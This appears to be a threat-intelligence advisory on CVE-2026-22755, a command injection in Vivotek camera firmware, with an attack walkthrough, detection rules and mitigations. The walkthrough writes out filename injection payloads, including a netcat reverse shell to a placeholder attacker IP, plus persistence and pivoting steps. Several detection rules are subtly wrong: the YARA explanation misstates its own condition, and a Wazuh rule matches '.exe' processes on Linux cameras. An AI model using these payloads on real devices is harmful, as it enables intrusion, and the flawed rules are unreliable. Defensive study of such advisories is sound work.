CVE-2026-22755

Executive Summary

CVE-2026-22755 is a critical OS command injection vulnerability in the upload_map.cgi endpoint present in legacy Vivotek network camera firmware. The flaw affects at least 39 distinct camera models including the FD, FE, IB, IP, IT, MA, MS, and TB series, spanning firmware builds up to version 0125c. An unauthenticated attacker can exploit this vulnerability to execute arbitrary operating system commands with elevated privileges on the device, leading to full device compromise, lateral movement potential, and use in botnet operations. With a CVSS score of 9.3 and an EPSS percentile of 97.3% indicating high exploitation likelihood, this issue demands immediate attention from all operators of affected Vivotek hardware.

Technical Analysis

The vulnerability resides in the upload_map.cgi CGI binary, which is part of the Vivotek web server frontend. This CGI script is responsible for handling file uploads related to map configuration files used in camera PTZ (Pan-Tilt-Zoom) presets and tour definitions. The specific flaw is the improper neutralization of special elements used in OS commands (CWE-78).

The attack surface is the unauthenticated web management interface exposed on TCP port 80 (HTTP) and 443 (HTTPS). The upload_map.cgi endpoint can be reached without prior authentication because the CGI handler lacks adequate session validation prior to processing requests.

The underlying mechanism is a classic command injection through a filename parameter. The CGI script constructs an OS-level command — typically a cp, mv, or custom binary execution — using user-supplied input that is not validated or sanitized. The filename portion of the multipart/form-data request is concatenated into a shell command string without proper escaping.

Consider a simplified example of the vulnerable code pattern:

sprintf(command, "cp %s /tmp/map_config", filename);
system(command);

An attacker crafts the filename field with command substitution characters. The shell interprets metacharacters such as backticks, $(...), semicolons, and pipe characters as command separators or substitution operators. When the crafted string is concatenated into the system command, the injected payload executes.

The affected firmware versions share a common code lineage. Vivotek reuses the same web server and CGI module codebase across its entire camera product line, which explains why 39+ distinct hardware models are vulnerable. The firmware list — including versions 0100a through 0125c — was confirmed by the CNA (larry_cashdollar) during responsible disclosure testing.

The vulnerability is entirely server-side. No client-side interaction or user-driven action is required beyond the initial HTTP request. Because the web server typically runs with root privileges on embedded camera devices, command execution is performed with maximum privilege, yielding a full system compromise state.

Attack traffic is trivial to generate once the endpoint is identified. Request smuggling through the CGI parser is not required; the flaw is directly in the argument processing. The CGI interface does not rate-limit requests, allowing for automated exploitation at scale.

The relevance of this issue is amplified by the fact that many Vivotek cameras are exposed directly to the public internet. Historical internet-wide scanning (e.g., via Shodan and Censys) has consistently shown tens of thousands of Vivotek devices listening on port 80. This exposure, combined with the unauthenticated nature of the vulnerability, makes mass exploitation a realistic and probable outcome, particularly for botnet operators seeking IoT devices for DDoS amplification or proxy use.

Exploitation Scenarios

The following attack chain describes a realistic exploitation sequence for CVE-2026-22755:

Step 1 — Reconnaissance and Target Identification

An attacker performs internet-wide scanning using a tool like Shodan, Censys, or masscan. The search query filters for HTTP banners containing Vivotek or camera-specific user agents. The attacker builds a target list of IP addresses and ports. Alternatively, a targeted attacker uses a network scanner to identify Vivotek cameras within a specific IP range by matching the HTTP Server header or the device's default web page title.

Step 2 — Endpoint Probing

The attacker sends a benign HTTP GET request to http://<target>/cgi-bin/admin/upload_map.cgi to confirm the endpoint exists. A successful response with a 200 OK (or an empty page with a 200 header) confirms the device is running the vulnerable CGI module. Fingerprinting can verify the firmware version by requesting /cgi-bin/admin/getparam.cgi?system_info.

Step 3 — Weaponization

The attacker crafts an HTTP POST request to upload_map.cgi. The request includes multipart/form-data encoding. The filename parameter within the file upload part is the injection point. The attacker constructs the filename field to break out of the intended string context and inject shell commands.

Example payload for filename:

"$(id > /tmp/pwned).map"

When the server constructs the command, the shell interprets the command substitution. The result is the id command executing before the filename is written. To avoid breaking the HTTP request, the attacker URL-encodes the payload characters.

Step 4 — Payload Execution

The attacker sends the crafted request. The server's system() call executes the concatenated command string. For a reverse shell, the attacker embeds a netcat or BusyBox netcat command:

$(nc <attacker-ip> 4444 -e /bin/sh).map

The attacker listens on port 4444 with nc -lvnp 4444. The camera initiates an outbound connection, granting the attacker an interactive shell.

Step 5 — Post-Exploitation

With a root shell, the attacker:

1. Writes a persistent backdoor by adding a cron job or init script entry to maintain access across reboots.
2. Harvests credentials by reading /etc/passwd, the camera configuration file (typically /etc/rtst or /var/run/config), and the NVR/onvif credentials.
3. Launches network scans from the compromised device to identify adjacent hosts (e.g., NVRs, other cameras, internal servers).
4. Validates whether the device can reach the internal corporate network — cameras are frequently dual-homed or VLAN-cross-connected.
5. Uses the device as a DDoS bot or SOCKS proxy, adding it to a botnet.

Step 6 — Lateral Movement

If the camera is on the corporate network, the attacker pivots using tools like Chisel or SSH tunneling, targeting more valuable assets such as Active Directory servers or databases, using the camera as a jump host.

Impact Scaling: Automating this entire chain requires writing a Python exploit ~50 lines long. Mass exploitation across thousands of devices is achievable within minutes using requests and concurrent.futures.

Impact Assessment

CVSS Score: 9.3 (Critical) — Derived from multiple compounding factors:

• Attack Vector: Network (AV:N) — Exploitable from anywhere the camera is reachable.
• Attack Complexity: Low (AC:L) — No special conditions or race windows required.
• Privileges Required: None (PR:N) — Unauthenticated exploitation.
• User Interaction: None (UI:N) — No user action needed.
• Scope: Changed (S:C) — Compromise extends beyond the vulnerable component (camera) to the broader network.
• Confidentiality, Integrity, Availability Impact: High (C:H/I:H/A:H) — Full device control, data exfiltration, file modification, DoS via user-space crash.

Business Impact:

1. Operational Disruption: Cameras are physical security infrastructure. An attacker with root access can disable video streaming, manipulate PTZ controls, blind the camera by disabling IR LEDs, or corrupt the firmware — resulting in total loss of surveillance capabilities.

2. Data Breach: Video feeds and recorded footage are sensitive. An attacker can exfiltrate stored SD card recordings or live streams. In regulated industries (healthcare, education, government), video data breaches trigger mandatory incident reporting.

3. Network Pivot: Cameras are often on the same L2 as employee workstations or connected to the corporate LAN via a dedicated VLAN with permissive ACLs. Successful compromise turns a surveillance device into a beachhead for lateral movement.

4. Botnet Contribution: EPSS 97.3rd percentile indicates this CVE is likely to be exploited in the wild. Attacker-controlled cameras in botnets are used for DDoS attacks (Mirai-style), spam relay, credential stuffing proxies, or anonymization relays. Reputational damage occurs if the camera IP is blacklisted.

Blast Radius:

• Directly affected: 39+ camera models, all firmware versions ≤ 0125c.
• Indirectly affected: Any network segment the cameras reside on. NVRs storing footage. Central monitoring infrastructure (e.g., ONVIF registrars, LDAP authentication servers for camera login).
• Data at risk: Live/dead video footage, network credentials (e.g., SNMP community strings, mail server credentials for SMTP alerts), NVR admin credentials.

Exploitation Likelihood: With a CVSS score of 9.3 and EPSS >0.2, this CVE is a prime candidate for immediate inclusion in exploit toolkits. IoT botnet operators are known to exploit such vulnerabilities within days of a public disclosure. The lack of a published patch as of the report date increases the window of exposure.

Detection Guidance

The following detection rules assume the vulnerability allows unauthenticated web-based command injection. Logs and network telemetry must be reviewed for signs of exploitation attempts.

Sigma Rule

title: Vivotek Camera upload_map.cgi Command Injection Attempt
id: 4b3a8b2e-9f4a-4f2b-a5d1-8a8f9e0a9a1d
status: experimental
description: Detects suspicious HTTP requests to /cgi-bin/admin/upload_map.cgi containing shell metacharacters or encoded payloads indicative of command injection.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-22755
author: Valtersit Threat Intel Team
date: 2026/05/15
logsource:
    category: webserver
    product: apache
    definition: Web server logs from Vivotek camera web interfaces or central reverse proxy.
detection:
    selection_endpoint:
        cs-method: 'POST'
        cs-uri-path: '*upload_map.cgi*'
        cs-uri-query|contains:
            - '%24%28'
            - '%7C'
            - '%3B'
            - '$(id'
            - '`id'
            - ';id'
            - '|/bin/sh'
    selection_payload:
        request_body|contains:
            - '$(id'
            - '$(cat'
            - '$(nc '
            - '$(wget'
            - '```
            - ';rm '
            - '|sh'
    condition: selection_endpoint and selection_payload
    level: high
falsepositives:
    - Legitimate upload of map files with unusual names containing special characters
    - Poorly designed internal monitoring tools

YARA Rule

rule Vivotek_Upload_Map_Command_Injection
{
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects command injection payloads targeting Vivotek upload_map.cgi"
        date = "2026-05-15"
        cve = "CVE-2026-22755"
        score = 80
    
    strings:
        $cgi = "upload_map.cgi" ascii fullword
        $cmd1 = "$(id" ascii
        $cmd2 = "`id`" ascii
        $cmd3 = "|sh" ascii fullword
        $cmd4 = "$(nc" ascii
        $cmd5 = "wget " ascii
        $cmd6 = "curl " ascii
        $cmd7 = ";/bin/sh" ascii
        $cmd8 = "$(cat" ascii

    condition:
        any of ($cmd*) and #cmd1 > 2
}

Note: The condition #cmd1 > 2 counts occurrences of payload strings; at least 3 command-injection indicators must be present in the inspected data. This avoids false positives from a single innocuous shell character.

Suricata IDS Rule

alert http any any -> $HOME_NET any \
    (msg:"Vivotek upload_map.cgi Command Injection Attempt"; \
    sid:20260001; rev:1; \
    metadata:created_at 2026_05_15, updated_at 2026_05_15, cve CVE-2026-22755; \
    http.method; content:"POST"; \
    http.uri; content:"/cgi-bin/admin/upload_map.cgi"; \
    pcre:"/(\$(\(|\{|"`")|(%24%28|%60|%7C|%3B))/i"; \
    pcre:"/(\b(id|cat|wget|curl|nc|sh|bash|rm|touch)\b)/i"; \
    classtype:attempted-admin; \
    reference:url,nvd.nist.gov/vuln/detail/CVE-2026-22755; \
    reference:url,cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22755; \
    priority:1;)

Elastic Detection

sequence by source.ip with maxspan=5s
  [ network where event.type == "connection" and
    destination.port == 80 and
    network.transport == "tcp" and
    http.request.method == "POST" and
    url.path == "/cgi-bin/admin/upload_map.cgi" and
    url.query contains "%24%28" ]
  [ process where event.action == "exec" and
    process.name in ("sh", "bash", "nc", "wget", "curl", "cat") and
    process.parent.name == "httpd" ]

Splunk SPL Query

index=web sourcetype=access_combined
| search "POST" AND "*upload_map.cgi*" 
| regex _raw="(\\$\(|`|\||;|%24%28|%7C|%3B)"
| regex _raw="(\b(id|cat|wget|curl|nc|sh|bash|rm|touch)\b)"
| eval threat_category="CVE-2026-22755 Vivotek Command Injection"
| table _time, src_ip, dest_ip, uri_path, http_method, user_agent, status
| sort - _time

For process-level telemetry:

index=linux_sysmon sourcetype=linux_audit
| where process.parent_name IN ("httpd", "apache2", "nginx")
| where process.name IN ("sh", "bash", "nc", "wget", "curl")
| stats count by host, source_ip, process.name, process.args
| where count > 3

Wazuh OSSEC Rule

<group name="vivotek_command_injection,">
  <rule id="100520" level="12" frequency="5" timeframe="60">
    <decoded_as>json</decoded_as>
    <field name="event.module">Apache</field>
    <field name="event.dataset">Apache.access</field>
    <match>upload_map.cgi</match>
    <regex>\$\(</regex>
    <regex>|sh</regex>
    <regex>;cat</regex>
    <description>Vivotek camera upload_map.cgi command injection attempt detected</description>
    <group>attack.initial_access,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
    <options>no_full_log</options>
  </rule>

  <rule id="100521" level="10" frequency="3" timeframe="60">
    <decoded_as>json</decoded_as>
    <field name="event.module">Sysmon_Module</field>
    <field name="event.dataset">ProcessCreate</field>
    <field name="Image">.*?(sh|bash|nc|wget|curl)\.exe.*?</field>
    <field name="ParentImage">.*?httpd.*?</field>
    <description>Vivotek camera child process spawned from web server — potential post-exploitation</description>
    <group>attack.execution,</group>
    <mitre>
      <id>T1059</id>
    </mitre>
    <options>no_full_log</options>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Status: UNPATCHED — No vendor patch available. Patch confidence 0/4 across all tracked sources. Vivotek has not released an official security advisory or firmware update as of the report generation date.

Immediate Mitigations (Until Patch Available):

1. Network Isolation: Immediately segment all affected Vivotek cameras onto a dedicated VLAN with strict egress ACLs. Block outbound connections to the Internet except for NTP and ONVIF to the designated NVR.
2. Restrict Access via Firewall: Configure firewall rules to allow only NVR management stations to reach ports 80/443 on cameras. Block all inbound access from the WAN.
3. Disable the Web Interface: If PTZ map configuration is not actively used, disable the web interface entirely via the camera's CLI (setparam system.web_enable=0) or block ports 80/443 at the switch level.
4. Proxy with Network IDS: Route all camera web traffic through an IPS/IDS with the Suricata rule provided above. Alert on any POST to upload_map.cgi.
5. Monitor Outbound Connections: Add alerting for any camera attempting outbound connections to unknown IPs on high ports (e.g., 4444, 31337).
6. Change Default Credentials: Although the vulnerability is unauthenticated, changing credentials limits secondary compromise via other paths (e.g., default telnet/SSH access).

Patch / Upgrade Steps:

1. Track Vendor Advisory: Monitor Vivotek's official security page — https://www.vivotek.com/security/security-advisory. A firmware update addressing this CVE should be released soon. Prioritize the upgrade to the new firmware version once published.
2. Firmware Transition: If the camera model is end-of-life (EOL) and firmware updates are no longer issued, replace the device with a modern model that has an active support lifecycle.
3. Firmware Validation: When the patch is released, verify the SHA256 checksum of the firmware file before deployment.

Long-Term Hardening:

1. Disable Unused Services: Disable telnet, SSH, and FTP on cameras in production.
2. Use HTTP(S) with Certificates: Enable HTTPS and disable HTTP to prevent traffic sniffing and to reduce the likelihood of content-less injection triggers.
3. Firmware Lifecycle Management: Maintain a registry of all camera models and firmware versions. Automate firmware update checks.
4. Network Segmentation: Never place cameras on the same broadcast domain as corporate workstations. Implement 802.1X port-based authentication for camera ports where feasible.
5. Regular Vulnerability Scanning: Include camera IP ranges in quarterly vulnerability scans and annual penetration tests.
6. Configuration Baseline: Enforce a configuration baseline that disables all CGI upload endpoints not absolutely required for operations.

References

1. NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-22755 — National Vulnerability Database entry with affected model list and CWE mapping.
2. Vivotek Security Portal: https://www.vivotek.com/security/security-advisory — Vendor security advisories; pending official disclosure for this CVE.
3. CVE Program (CNA Mitre): https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22755 — CVE record with CNA attribution and affected product details.
4. EPSS — FIRST.org: https://www.first.org/epss/search?cve=CVE-2026-22755 — Exploit Prediction Scoring System entry; 97.3rd percentile of exploited CVEs.
5. Shodan Query: https://www.shodan.io/search?query=Vivotek — Live internet scan data showing exposed Vivotek cameras; useful for determining exposure scale within your organization's IP space.

Threat Actor Campaign Evidence: At the time of this report, no specific public exploitation campaign has been attributed to a known threat actor group. However, the EPSS score (97.3rd percentile) and the criticality of the vulnerability strongly suggest that automated botnets and DDoS-for-hire services will adopt this flaw quickly. Historical IoT camera command injection vulnerabilities (e.g., CVE-2017-8225, CVE-2020-25078) were weaponized within weeks of disclosure by Mirai-derived botnet variants. The lack of a patch gives attackers an open window. Monitor VirusTotal and AlienVault OTX for community-sourced indicators once public PoC is shared.